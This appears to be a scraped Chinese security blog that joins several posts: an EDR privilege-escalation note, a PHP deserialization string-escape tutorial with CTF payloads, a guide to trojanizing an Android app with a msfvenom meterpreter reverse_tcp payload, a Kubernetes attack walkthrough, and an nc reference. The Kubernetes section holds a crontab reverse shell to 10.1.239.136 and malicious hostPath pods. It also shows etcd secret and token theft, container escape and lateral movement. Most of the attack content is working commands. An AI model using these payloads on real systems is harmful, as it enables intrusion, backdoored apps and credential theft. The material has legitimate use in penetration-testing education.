Content-Type:application/octet-stream
Accept-Encoding:gzip, deflate
Content-Length:8

abcd

142、青藤云EDR权限提升漏洞，可提权到system权限

漏洞编号
无
影响产品
最新版
利用状态
在野利用（已公开poc）
漏洞详情
青藤云 EDR 存在权限提升漏洞，可提权到 system 权限。在 windows 下青藤在获取资产信息的时候，如何发现进程树中有 python 进程，它会尝试获取 python 版本，
获取的方法:
枚举进程找到进程名字"python.exe"的进程, 获取文件路径。
然后直接启动进程 [获取 python.exe 的路径] -V 获取输出。
青藤客户端本身是 System 权限，在启动进程时候没有进行降权处理,导致提权
漏洞。
青藤会定时的更新资产信息，所以此漏洞可以无需干预自动提权

青藤的测试 POC
local function save_python_info(ctx, info_table)
local proc_names = {"python.exe"}
local procs_ret = ctx.get_proc_list_info_rely(ctx, proc_names)
if next(procs_ret) == nil then
return
end
-- call get version
-- ... 省略无关代码
get_python_ver(proc)
-- ... 省略无关代码
end

function get_python_ver(proc)
if proc == nil then
return ""
end
if file_api.file_exists(proc.path) then
local cmdline = "\"" .. proc.path .. "\" -V"
local ret, output = common.execute_shell(cmdline)
if ret == 0 and output and output ~= "" then
return regex.match(output, "\\d.+\\d")
else
agent.error_log("get python version info error:" ..
tostring(ret))
return ""
end
end
end

日志信息分析示例

Fri, 25 Aug 2023 21:24:00 GMT

渗透过程中，我们可能用普通账号进到了系统，在提权或者进一步信息收集的过程中，我们会获得一些日志文件，根据这些日志文件我们需要进一步的分析。

日志文件

下面是Kali官方给的日志文件，根据这个日志，讲述一下信息收集的方法：

wget http://www.offensive-security.com/pwk-files/access_log.txt.gz

分析文件

可以使用wc命令查看文件行数

wc -l access_log.txt 
[-]	1173 access_log.txt

ls -lh access_log.txt 
[-]	-rwxrwxrwx 1 root root 138K 2020年 2月11日 access_log.txt

量还是很大的，基本都是web访问

过滤地址

由于第一列为IP地址列，且可以通过空格来进行分割

cat access_log.txt | cut -d " " -f 1

cat access_log.txt: 这部分使用cat命令来将文件 access_log.txt 的内容输出到标准输出（通常是终端）。

|: 这是管道操作符，它将 cat 命令的输出传递给下一个命令。

cut -d " " -f 1: 这部分使用cut命令来分割输入，并且 -d 参数指定了分隔符（空格），而 -f 参数指定了要提取的字段编号（这里是第一个字段，即每行的第一个单词或字符串）。

统计去重

原有基础上进行去重并统计出现次数

cat access_log.txt | cut -d " " -f 1 | uniq -c

uniq -c: 这部分使用uniq命令来查找连续重复的行（在这里是IP地址），并使用 -c 参数来计算每个唯一行（唯一的IP地址）出现的次数。

这里的IP并不多，若IP过多则需要对结果进行逆序排序

cat access_log.txt | cut -d " " -f 1 | uniq -c | sort -run

sort -run: 这部分使用sort命令来对IP地址出现次数进行逆序排序，其中：

-r 参数表示逆序排序（从高到低）。
-u 参数表示去重（只显示唯一的IP地址）。
-n 参数表示按数值大小排序，而不是按字典顺序。

结果筛选

分析并发现了访问次数最多的IP地址，可以针对此IP进行筛选

cat access_log.txt| grep 208.68.234.99

发现此IP对/admin接口进行大量访问，且可能已经爆破成功

cat access_log.txt| grep 208.68.234.99 | grep "/admin" | sort -u

PHP反序列化字符串逃逸

Fri, 25 Aug 2023 21:24:00 GMT

反序列化字符串逃逸

序列化

将对象序列化存储，下面是一个标准的PHP序列化后的数据流

<?php
class info {
    public $name;
    public $age;

    public function __construct($name, $age){
        $this->name = $name;
        $this->age = $age;
    }
}

echo serialize(new info('dcj', 22));
//O:4:"info":2:{s:4:"name";s:3:"dcj";s:3:"age";i:22;}

反序列化

将数据流转化为对象

var_dump(unserialize('O:4:"info":2:{s:4:"name";s:3:"dcj";s:3:"age";i:22;}'));

结果：
class info#1 (2) {
  public $name =>
  string(3) "dcj"
  public $age =>
  int(22)
}

魔术方法

PHP中存在很多魔术方法，特定情况下能够触发这些方法

方法名	调用条件
__call	调用不可访问或不存在的方法时被调用
__callStatic	调用不可访问或不存在的静态方法时被调用
__clone	进行对象clone时被调用，用来调整对象的克隆行为
__construct	构建对象的时候被调用
__debuginfo	当调用var_dump()打印对象时被调用（当你不想打印所有属性）适用于PHP5.6版本
__destruct	明确销毁对象或脚本结束时被调用
__get	读取不可访问或不存在属性时被调用
__invoke	当以函数方式调用对象时被调用
__isset	对不可访问或不存在的属性调用isset()或empty()时被调用
__set	当给不可访问或不存在属性赋值时被调用
__set_state	当调用var_export()导出类时，此静态方法被调用。用__set_state的返回值做为var_export的返回值
__sleep	当使用serialize时被调用，当你不需要保存大对象的所有数据时很有用
__toString	当一个类被转换成字符串时被调用
__unset	对不可访问或不存在属性进行unset时被调用
__wakeup	当使用unserialize时被调用，可用于做些对象的初始化操作

字符串溢出

<?php

error_reporting(0);
highlight_file(__FILE__);

class user {
    public $username = 'admin';
    public $password = '123456';

    public $isVip;

    public function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
        $this->isVip = 0;
    }

    public function login(){
        $isVip = $this->isVip;
        if ($isVip==1){
            echo 'flag is niubi';
        }else{
            echo 'fuck';
        }
    }
}

function filter($obj) {
    return preg_replace("/admin/", "aaaa", $obj);
}

$obj = $_GET['x'];
if (strpos($obj, 'admin') !== false) {
    $obj2 = filter($obj);
    if (isset($obj)){
        $o = unserialize($obj2);
        $o->login();
    }else {
        echo 'fuck';
    }
    // 如果存在admin，执行其他操作
}else{
    die('错误！！！');
}

这段代码中入口点对“admin”进行校验，序列化的内容需要存在“admin”，然后使用了filter函数进行过滤，麻烦的在于，若进行替换，“admin”变成了“aaaa”，但是变量长度的数字不变，会导致程序崩溃。

这里就出现了字符串的溢出，下面首先了解字符串逃逸的原理。

增加逃逸

当出现filter函数进行替换为比自身多一个字符的情况时，如下所示：

<?php
error_reporting(0);
highlight_file(__FILE__);
class test{
    public $name = 'admin';
    public $age = '22';

    public function __construct($name, $age)
    {
        $this->name = $name;
        $this->age = $age;
    }
}

function filter($obj) {
    return preg_replace("/admin/", "hacker", $obj);
}

$s=$_GET['payload'];
$ser=filter($s);
$test=unserialize($ser);

分析

上面的代码中将“admin”替换为了“hacker”

function filter($obj) {
    return preg_replace("/admin/", "hacker", $obj);
}

先在POP中将替换前后的两个结果对比一下

<?php
class test{
    public $name;
    public $age;

    public function __construct($name, $age)
    {
        $this->name = $name;
        $this->age = $age;
    }
}

function filter($obj) {
    return preg_replace("/admin/", "hacker", $obj);
}

$name = 'admin';
$age = '22';
$t = new test($name, $age);
echo serialize($t)."\n";
echo filter(serialize($t))."\n";

结果：第二个结果中变量值的长度没有变化，字符串却增加了1位，放到unserialize函数中一定会报错
O:4:"test":2:{s:4:"name";s:5:"admin";s:3:"age";s:2:"22";}
O:4:"test":2:{s:4:"name";s:5:"hacker";s:3:"age";s:2:"22";}

第一个正常反序列化，第二个报错

需要做的是如何在一定会调用filter函数的情况下还能够让序列化数据流格式正确，能够正常解析，这就需要运用字符串溢出

能够发现，filter函数控制的是我们的name，无论如何变化，后面22个字符是不会发生任何变化的，这里可以不用去思考age的值，可以先认定一个前提，就是让age==='22'为我们所需要达到的条件。

22 = 22 * 1

既然有22个字符是固定的，且增量为1，22个字符就需要将admin增加22次，才能够将这22个字符补全。

22 * admin + 22 = 22 * hacker

构造

可以先用编写好的payload进行比较

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"age";s:2:"22";}

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

能够发现两个值的长度是相同的132，试着带入函数进行处理

O:4:"test":2:{s:4:"name";s:132:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"age";s:2:"22";}";s:3:"age";s:2:"22";}
O:4:"test":2:{s:4:"name";s:132:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"age";s:2:"22";}";s:3:"age";s:2:"22";}

我们编写的payload如下所示，替换hacker后的结果正好将后面的字符串“推了出去”

连接着后面的";s:3:"age";s:2:"22";}正常解析，最后的";s:3:"age";s:2:"22";}被舍去

反序列化也能够正常执行

减少逃逸

反过来，将“hacker”替换为“admin”，减少了1个字符，如下所示：

<?php
error_reporting(0);
highlight_file(__FILE__);
class test{
    public $name = 'admin';
    public $age = '22';

    public function __construct($name, $age)
    {
        $this->name = $name;
        $this->age = $age;
    }
}

function filter($obj) {
    return preg_replace("/hacker/", "admin", $obj);
}

$s=$_GET['payload'];
$ser=filter($s);
$test=unserialize($ser);

分析

在POP中比较一下

生成的序列化数据流中name的长度值没有变，字符串少了1个
O:4:"test":2:{s:4:"name";s:6:"hacker";s:3:"age";s:2:"22";}
O:4:"test":2:{s:4:"name";s:6:"admin";s:3:"age";s:2:"22";}

放到unserialize函数中查看

var_dump(unserialize('O:4:"test":2:{s:4:"name";s:6:"hacker";s:3:"age";s:2:"22";}'));
var_dump(unserialize('O:4:"test":2:{s:4:"name";s:6:"admin";s:3:"age";s:2:"22";}'));

减少逃逸中，需要注意的是字符串的长度，和增加不同，不需要统计后面所有的字符串，为什么要看这一部分字符串的长度，因为这一部分是我们不可控的，后面的22是我们可控的。（PS：其实这一部分也是有可控的地方，在减少多个字符串的情况下需要控制这一部分）

17 = 17 * 1

由于是缺少了字符，需要将这17个字符吞掉

hacker * 17 = admin * 17 + ";s:3:"age";s:2:"

构造

查看编好的payload

";s:3:"age";s:2:"

hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"age";s:2:"

由于要将后面的内容构造为完整的序列化数据，所以将后面的内容补全

$name = 'hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker';
$age = ';s:3:"age";s:2:"22";}';

这里有一个细节，就是构造的时候，$age的值不能加上前面的引号，因为序列化的时候，格式上会有一个引号在前面

可以看到构造后运行的结果都为102个字符，后面的age正好也是“22”，成功构造序列化数据，能够正常解析

例题

<?php

error_reporting(0);
highlight_file(__FILE__);

class user {
    public $username = 'admin';
    public $password = '123456';

    public $isVip;

    public function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
        $this->isVip = 0;
    }

    public function login(){
        $isVip = $this->isVip;
        if ($isVip==1){
            echo 'flag is niubi';
        }else{
            echo 'fuck';
        }
    }
}

function filter($obj) {
    return preg_replace("/admin/", "aaaa", $obj);
}

$obj = $_GET['x'];
if (strpos($obj, 'admin') !== false) {
    $obj2 = filter($obj);
    if (isset($obj)){
        $o = unserialize($obj2);
        $o->login();
    }else {
        echo 'fuck';
    }
    // 如果存在admin，执行其他操作
}else{
    die('错误！！！');
}

重新看这道题目，$_GET获取的参数“x”进行了判断，必须包含“admin”，且对“admin”进行了替换，flag入口需要判断$isVip，要正常解析，可以构造如下payload

O:4:"user":3:{s:8:"username";s:110:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVip";i:1;}";s:5:"isVip";i:1;}

补充

在字符串逃逸中，往往会出现无法整除的情况，前面的例子中，都是字符串替换后增加了1个或是减少了1个，从序列化数据流中找到了多少个字符就直接构造即可，但是若出现增加多个字符或是减少多个字符，那构造的形式便会些许复杂。

增加四位

例题如下所示：

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
        if($this->password==='easy')
        {
            include('flag.php');
            echo $flag;
        }
        else
        {
            echo 'wrong password';
        }
    }
}

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这道题中需要将“challenge”替换为“easychallenge”，增加了4个字符，首先在POP链中运行变化前后的结果

O:1:"a":2:{s:5:"uname";s:9:"challenge";s:8:"password";s:4:"easy";}
O:1:"a":2:{s:5:"uname";s:9:"easychallenge";s:8:"password";s:4:"easy";}

按照增加的做法，统计后面的字符串长度为29

这里构造可以有很多种方式，因为29可以写成很多配比形式

29 = 4 * 8 - 3
29 = 4 * 9 - 7
。。。

为什么要超过29，因为若构造的长度小于29，就没有办法逃逸完29个字符，若超出了，可以在payload中补充字符串，仍然可以达到溢出的效果，所以这里构造的payload如下，这两种都可以解析

challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa1111

减少四位

例题如下所示：

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
        if($this->password==='easy')
        {
            include('flag.php');
            echo $flag;
        }
        else
        {
            echo 'wrong password';
        }
    }
}

function filter($string){
    return str_replace('easychallenge','challenge',$string);
}

$uname=$_GET[1];
$ser=filter($uname);
$test=unserialize($ser);
?>

和增加的区别就是替换的字符串换了位置（减少中需要修改源码，因为若只能传入$uname则不能构成逃逸，因为减少需要的是两个变量都进行构造），这样就需要构造easychallenge来进行字符串溢出，同样先输出POP的结果对比

O:1:"a":2:{s:5:"uname";s:13:"easychallenge";s:8:"password";s:4:"easy";}
O:1:"a":2:{s:5:"uname";s:13:"challenge";s:8:"password";s:4:"easy";}

不可控的字符串为22位，但是每次替换都是减少了4位“easy”，不能够被22整除，这里就需要控制不可控字符串的内容

将两个payload都运行分析结果

22 = 4 * 5 + 2
    
easychallengeeasychallengeeasychallengeeasychallengeeasychallenge
";s:8:"password";s:4:"easy";}

替换前是65位，替换后67位

22 = 4 * 6 - 2

easychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge
";s:8:"password";s:4:"easy";}

替换前78位，替换后76位，按照之前减少字符的构造前提，需要超过不可控字符串的长度，所以要超过22，故这里最少也得需要6个easychallenge（当然更多也可以，不过构造的结果数据量太大）

现在需要补充的就是替换后缺少的2位字符，分析这个序列化数据，其实能够手工控制的还有一个地方

现在已经很清楚了，缺少两位，所以需要添加$age的值为1000个字符以上即可补充这缺少的两个字符

由于反序列化解析成功之后，后面的字符串都会被舍去，所以这里写什么都可以

能够看到，替换前后的uname值都是78位字符串了

总结

字符串逃逸需要先判断手工可控的变量和固定的字符串内容，payload的选取需要大胆一些，毕竟是为了溢出，多了才能够补充，少了就没有办法能够构造。

简单的一次手机APK注入

Wed, 23 Aug 2023 17:33:00 GMT

一、MSF

msfvenom -p android/meterpreter_reverse_tcp LHOST=10.1.239.156 LPORT=5555 > exp.apk

msfconsole

二、注入木马

1、安装超级瑞士刀

https://www.wandoujia.com/apps/107907

2、反编译

apktool d cjrsd.apk

3、找到配置文件

AndroidManifest.xml

4、找到主文件

这里其实是手电筒功能的启动程序

android:launchMode="singleTask" android:name="com.utooo.ssknife.torch.TorchActivity"
找到TorchActivity.smali文件

5、找到onCreate函数

.method protected onCreate(Landroid/os/Bundle;)V

6、找到启动接口invoke-super

invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

木马的接口可以任意选择，这里选择的是在onStartCommand中，这里是手电筒的启动程序

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

7、将木马的接口写入下一行，格式化写入

8、将木马apk的metasploit文件夹复制到正常apk的com目录下

9、更改权限

将AndroidManifest.xml中的permssion配置项替换为木马apk的权限配置项

10、重新编译即可

apktool b cjrsd.apk

11、签名

此时还不能安装，用MT文件管理器添加签名即可使用，打开手电筒功能上线，不过使用的不是原有签名，就像很多盗版软件安装时会出现签名不一致无法覆盖安装

12、上线

由于功能是手电筒的启动程序，打开手电筒成功上线。

接下来就应该熟悉了 :）

K8s 攻击方式

Sat, 24 Jun 2023 17:04:00 GMT

K8s攻击方式

1、攻击8080端口：API Server未授权访问（master）

旧版本的k8s的API Server默认会开启两个端口：8080和6443。

6443是安全端口，安全端口使用TLS加密；但是8080端口无需认证，

仅用于测试。6443端口需要认证，且有 TLS 保护。（k8s<1.16.0）

新版本k8s默认已经不开启8080。需要更改相应的配置

cd /etc/kubernetes/manifests/

    - --insecure-port=8080

    - --insecure-bind-address=0.0.0.0

kubectl.exe -s 10.1.239.140:8080 get nodes

kubectl.exe -s 10.1.239.140:8080 get pods

kubectl -s 10.1.239.140:8080 create -f test.yaml

kubectl -s 10.1.239.140:8080 --namespace=default exec -it test bash

echo -e "* * * * * root bash -i >& /dev/tcp/10.1.239.136/1234 0>&1\n" >> /mnt/etc/crontab

2、攻击6443端口：API Server未授权访问（master）

一些集群由于鉴权配置不当，将"system:anonymous"用户绑定到"cluster-admin"用户组，从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous  --clusterrole=cluster-admin  --user=system:anonymous

-创建恶意pods

https://10.1.239.140:6443/api/v1/namespaces/default/pods/

POST：{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

-连接判断pods

kubectl --insecure-skip-tls-verify -s https://10.1.239.140:6443 get pods

-连接执行pods

kubectl --insecure-skip-tls-verify -s https://10.1.239.140:6443 --namespace=default exec -it test02 bash

-上述一样

3、攻击10250端口：kubelet未授权访问（node）

https://10.1.239.142:10250/pods        # 攻击node节点

/var/lib/kubelet/config.yaml

修改authentication的anonymous为true,

将authorization mode修改为AlwaysAllow,

重启kubelet进程-systemctl restart kubelet

-利用执行命令这里需要三个参数

namespace default

pod test02

container test02

-访问获取：

https://10.1.239.142:10250/runningpods/

-执行模版：

curl -XPOST -k "https://10.1.239.142:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

-构造触发：

https://10.1.239.142:10250/run/default/test02/test02

curl -XPOST -k "https://10.1.239.142:10250/run/default/test02/test02" -d "cmd=id"
# 容器中执行命令，需要逃逸

4、etcd——未授权访问

攻击2379端口：默认通过证书认证，主要存放节点的数据，如一些token和证书

第一种：没有配置指定--client-cert-auth 参数打开证书校验，暴露在外Etcd服务存在未授权访问风险。
-暴露外部可以访问，直接未授权访问获取secrets和token利用

第二种：在打开证书校验选项后，通过本地127.0.0.1:2379可免认证访问Etcd服务，但通过其他地址访问要携带cert进行认证访问，一般配合ssrf或其他利用，较为鸡肋。
-只能本地访问，直接未授权访问获取secrets和token利用

第三种：实战中在安装k8s默认的配置2379只会监听本地，如果访问没设置0.0.0.0暴露，那么也就意味着最多就是本地访问，不能公网访问，只能配合ssrf或其他。
-只能本地访问，利用ssrf或其他进行获取secrets和token利用

配置文件：
/etc/kubernetes/manifests/etcd.yaml
复现搭建：
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
安装etcdctl：
https://github.com/etcd-io/etcd/releases
安装kubectl：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

*复现利用：
*暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
*SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
*V2/V3版本利用参考：https://www.cnblogs.com/qtzd/p/k8s_etcd.html

利用参考：
https://www.wangan.com/p/7fy7f81f02d9563a
https://www.cnblogs.com/qtzd/p/k8s_etcd.html

V2版本利用：
直接访问http://ip:2379/v2/keys/?recursive=true
可以看到所有的key-value值。（secrets token）

V3版本利用：
1、连接提交测试
./etcdctl --endpoints=10.1.239.140:2379 get / --prefix
./etcdctl --endpoints=10.1.239.140:2379 put /testdir/testkey1 "Hello world1"
./etcdctl --endpoints=10.1.239.140:2379 put /testdir/testkey2 "Hello world2"
./etcdctl --endpoints=10.1.239.140:2379 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets：
./etcdctl --endpoints=10.1.239.140:2379 get / --prefix --keys-only | grep /secrets/
3、读取service account token:
./etcdctl --endpoints=10.1.239.140:2379 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=10.1.239.140:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过token访问API-Server，获取集群的权限：
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

5、Dashboard未授权访问

默认端口：8001
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况：
一种是在本身就存在着不需要登录的http接口，但接口本身并不会暴露出来，如接口被暴露在外，就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦，修改了配置文件，使得安全接口https的dashboard页面可以跳过登录。

*复现利用：
*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
*Kubernetes-dashboard绑定cluster-admin（拥有管理集群的最高权限）
1、安装：https://blog.csdn.net/justlpf/article/details/130718774
2、启动：kubectl create -f recommended.yaml（证书问题需要加上 --validate=false）
3、卸载：kubectl delete -f recommended.yaml
4、查看：kubectl get pod,svc -n kubernetes-dashboard
5、利用：新增Pod后续同前面利用一致
*找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
apiVersion: v1
kind: Pod
metadata:
  name: dcj
spec:
  containers:
  - image: nginx
    name: dcj
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

6、Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件，操作集群，从而接管所有容器。K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)，就可以直接通过API Server接管K8s集群，带来风险隐患。用户凭证保存在kubeconfig文件中，通过以下顺序来找到kubeconfig文件：
-如果提供了--kubeconfig参数，就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数，但设置了环境变量$KUBECONFIG，则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有，kubectl就使用默认的kubeconfig文件~/.kube/config

*复现利用：
*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接
安装：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接：kubectl -s https://10.1.239.140:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config
4、连接pod后进行容器挂载逃逸
kubectl exec -it dcj bash -n default --kubeconfig=config
cd /mnt
chroot . bash

##7、云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时，会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建：
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

*复现利用：
*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
*找到暴露入口点，根据类型选择合适方案
kubectl -s http://10.1.239.140:8009 get pods -n kube-system

8、场景实战

# 攻击Pod部署Web应用
# 利用ApiServer未授权
# 实现挂载目录宿主机逃逸
# 利用污点Taint横向移动
# 利用Config泄漏横向移动

Web应用部署：（struts2漏洞）
kubectl create deployment struts --image=vulhub/struts2:2.3.28
kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePort
kubectl get pod,svc

利用Web漏洞拿下权限

探针当前Webshell环境：
https://blog.csdn.net/qq_23936389/article/details/131467165
ls -al /
cat /proc/1/cgroup

探针API Server未授权

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

./kubectl -s 10.96.0.1:443 create -f test.yaml

加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

利用后门挂载进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"

利用污点Taint横向移动master节点

参考：https://cn-sec.com/archives/1336486.html

获取node节点详情：node-role.kubernetes.io/master:NoSchedule
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-x
spec:
 tolerations:
   \- key: node-role.kubernetes.io/master
     operator: Exists
     effect: NoSchedule
 containers:
   \- name: control-master-x
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      \- name: master
        mountPath: /master
 volumes:
  \- name: master
    hostPath:
     path: /
     type: Directory
EOF

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"

Linux命令-nc（端口监控、文件传输、反弹shell等）

Sat, 20 May 2023 16:21:00 GMT

Linux命令-nc（端口监控、文件传输、反弹shell等）

简介

nc是netcat的简写，有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用，被设计为一个简单、可靠的网络工具。进行TCP、UDP的连接和监听，可以将标准错误分离。

参数

This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
  [-P proxy_username] [-p source_port] [-q seconds] [-s source]
  [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
  [-x proxy_address[:port]] [destination] [port]

  Command Summary:
       -4        Use IPv4
       -6        Use IPv6
       -b        Allow broadcast
       -C        Send CRLF as line-ending
       -D        Enable the debug socket option
       -d        Detach from stdin
       -h        This help text
       -I length    TCP receive buffer length
       -i secs     Delay interval for lines sent, ports scanned
       -j        Use jumbo frame
       -k        Keep inbound sockets open for multiple connects
       -l        Listen mode, for inbound connects
       -n        Suppress name/port resolutions
       -O length    TCP send buffer length
       -P proxyuser   Username for proxy authentication
       -p port     Specify local port for remote connects
       -q secs     quit after EOF on stdin and delay of secs
       -r        Randomize remote ports
       -S        Enable the TCP MD5 signature option
       -s addr     Local source address
       -T toskeyword  Set IP Type of Service
       -t        Answer TELNET negotiation
       -U        Use UNIX domain socket
       -u        UDP mode
       -V rtable    Specify alternate routing table
       -v        Verbose
       -w secs     Timeout for connects and final net reads
       -X proto     Proxy protocol: "4", "5" (SOCKS) or "connect"
       -x addr[:port]  Specify proxy address and port
       -Z        DCCP mode
       -z        Zero-I/O mode [used for scanning]
   Port numbers can be individual or ranges: lo-hi [inclusive]

nc的作用

简单的TCP代理

基于shell脚本的HTTP客户端或服务器

网络守护进程/程序测试

文件传输

反弹shell（非本意）

参数详解

nc参数

参数	解释
-4	强制nc仅使用IPv4地址
-6	强制nc仅使用IPv6地址
-b	允许广播
-C	发送CRLF作为行结束符
-D	在套接字上启动测试
-d	不要试图从标准输入读入数据
-h	打印nc帮助
-l length	指定TCP接收缓冲区大小
-i interval	指定发送和接收的文本行之间的延迟时间间隔。还会导致连接到多个端口之间的延迟时间。
-k	强制nc在当前连接完成后继续侦听另一个连接。在没有-l选项的情况下使用此选项是错误的。
-l	用于指定nc应侦听传入连接，而不是启动到远程主机的连接。将此选项与-p、-s或-z选项结合使用是错误的。此外，使用-w选项指定的任何超时都将被忽略。
-n	不要在任何指定的地址、主机名或端口上执行任何DNS或服务查找。
-O length	指定TCP发送缓冲区大小
-P proxy_username	指定要呈现给需要身份验证的代理服务器的用户名。如果未指定用户名，则不会尝试身份验证。目前仅支持HTTP CONNECT代理的代理身份验证。
-p source_port	根据权限限制和可用性，指定nc应使用的源端口。支持nn-mm范围模式和空格分隔。
-q seconds	在stdin上执行EOF后，等待指定的秒数，然后退出。如果秒数为负，则永远等待。
-r	指定应随机选择源端口和/或目标端口，而不是在某个范围内或按照系统分配的顺序顺序进行选择。
-S	启用RFC 2385 TCP MD5签名选项。
